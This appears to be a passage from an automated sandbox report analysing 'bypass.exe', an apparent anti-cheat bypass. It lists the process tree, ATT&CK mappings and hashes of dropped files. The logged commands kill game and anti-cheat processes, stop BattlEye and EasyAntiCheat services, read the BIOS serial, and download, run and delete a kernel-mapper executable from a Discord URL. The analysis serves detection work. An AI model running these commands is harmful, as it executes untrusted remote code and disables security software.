    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
    3⤵
    PID:3672
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
      4⤵
      Kills process with taskkill
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /F /IM EpicGamesLauncher.exe >nul 2>&1
    3⤵
    PID:3144
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM EpicGamesLauncher.exe
      4⤵
      Kills process with taskkill
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /F /IM EasyAntiCheatLauncher.exe >nul 2>&1
    3⤵
    PID:1896
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM EasyAntiCheatLauncher.exe
      4⤵
      Kills process with taskkill
      PID:1292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /F /IM BEService.exe >nul 2>&1
    3⤵
    PID:4488
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM BEService.exe
      4⤵
      Kills process with taskkill
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /F /IM Fortnite.exe >nul 2>&1
    3⤵
    PID:1284
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM Fortnite.exe
      4⤵
      Kills process with taskkill
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /F /IM BattleEyeLauncher.exe >nul 2>&1
    3⤵
    PID:3520
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM BattleEyeLauncher.exe
      4⤵
      Kills process with taskkill
      PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /F /IM FortniteClient-Win64-Shipping.exe >nul 2>&1
    3⤵
    PID:4188
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM FortniteClient-Win64-Shipping.exe
      4⤵
      Kills process with taskkill
      PID:4336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop BEService >nul 2>&1
    3⤵
    PID:1052
  - - C:\Windows\system32\sc.exe
      sc stop BEService
      4⤵
      Launches sc.exe
      PID:996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop BEDaisy >nul 2>&1
    3⤵
    PID:392
  - - C:\Windows\system32\sc.exe
      sc stop BEDaisy
      4⤵
      Launches sc.exe
      PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop EasyAntiCheat >nul 2>&1
    3⤵
    PID:3600
  - - C:\Windows\system32\sc.exe
      sc stop EasyAntiCheat
      4⤵
      Launches sc.exe
      PID:4680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop EasyAntiCheatSys >nul 2>&1
    3⤵
    PID:4328
  - - C:\Windows\system32\sc.exe
      sc stop EasyAntiCheatSys
      4⤵
      Launches sc.exe
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic bios get serialnumber > output.txt
    3⤵
    PID:3788
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get serialnumber
      4⤵
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1065394708429418496/1095815294993322064/1kdmapperwithdriver.exe -o C:\Windows\1kdmapperwithdriver.exe --silent
    3⤵
    PID:752
  - - C:\Windows\system32\curl.exe
      curl https://cdn.discordapp.com/attachments/1065394708429418496/1095815294993322064/1kdmapperwithdriver.exe -o C:\Windows\1kdmapperwithdriver.exe --silent
      4⤵
      Drops file in Windows directory
      PID:3428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\1kdmapperwithdriver.exe
    3⤵
    PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c del C:\Windows\1kdmapperwithdriver.exe
    3⤵
    PID:3400

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:1888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
be079b50d455b181fe4841eebaf15374

SHA1
693f0bae502e6eca9072a3570f7db28cdc8a08ed

SHA256
af15ff9e56d9ab6c53a15d09fa07a03d3693d2292cfe4fadbb6c2200a5df7df9

SHA512
4e86034a926552ee139574942759ab0a4abc70e57f62363125147a1015fb80efda2f69982189adce0b82e6fc7dc276fe7f68b29a3692228999ce4bd309ae1a54

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
004cffc9cf852494ff528ae90cd6908c

SHA1
20b7b2f30a3447a78eddea7b003035bcdb632beb

SHA256
a1841c0aebd9eb04124a5625847dff4bc6df879c0cc5384d6f526a0263381894

SHA512
b18ef44a6c82d5287480a95af16cc3420db579be3038b47321adde06056412e4dfba42048d8af20f83f9a21091752d2b304fedb79fb453ce770afc35b1886827

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
255KB

MD5
08749e091accb89876d799210aeedd1d

SHA1
05018ddcff552a4f57a44683b109b4cc4adf8d28

SHA256
1dd0db52d792691b3a2065039fd8d50567a7ac706db5c261769d05ce3a6aaf7d

SHA512
a2faeacf154777141fbca6bd86c39ebff78304b19bf6ce75553b0ccc17587548ef4286ca4335894015bb48e43aa6ff4c5fbbb40f56776a928a90461298f363c4

Download Submit
C:\Users\Admin\Downloads\bypass.exe

Filesize
198KB

MD5
b40b0a567971c3b3bbf0cfabdb46521f

SHA1
e0f1ef6645f9c674937c64c09c4e24ce9e386d2f

SHA256
671c658afe305ea04c52765d7c30dc0ea0a08398f1b35f71ff3396d3069bd455

SHA512
33fe91e7cdd0e443cbc46a8a2cf38bbd4e295d12c86ed8b89fa01b9941a985c317229c90a6fc97c2d186bad1c07432cae9bf67f7fc8e8d6462a5899a6e6a5627

Download Submit
C:\Users\Admin\Downloads\output.txt

Filesize
66B

MD5
9025468f85256136f923096b01375964

SHA1
7fcd174999661594fa5f88890ffb195e9858cc52

SHA256
d5418014fa8e6e17d8992fd12c0dfecac8a34855603ea58133e87ea09c2130df

SHA512
92cac37c332e6e276a963d659986a79a79867df44682bfc2d77ed7784ffa5e2c149e5960a83d03ef4cf171be40a73e93a110aaa53b95152fa9a9da6b41d31e51

Download Submit
C:\Windows\1kdmapperwithdriver.exe

Filesize
36B

MD5
a1ca4bebcd03fafbe2b06a46a694e29a

SHA1
ffc88125007c23ff6711147a12f9bba9c3d197ed

SHA256
c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65

SHA512
6fe1730bf2a6bba058c5e1ef309a69079a6acca45c0dbca4e7d79c877257ac08e460af741459d1e335197cf4de209f2a2997816f2a2a3868b2c8d086ef789b0e

Download Submit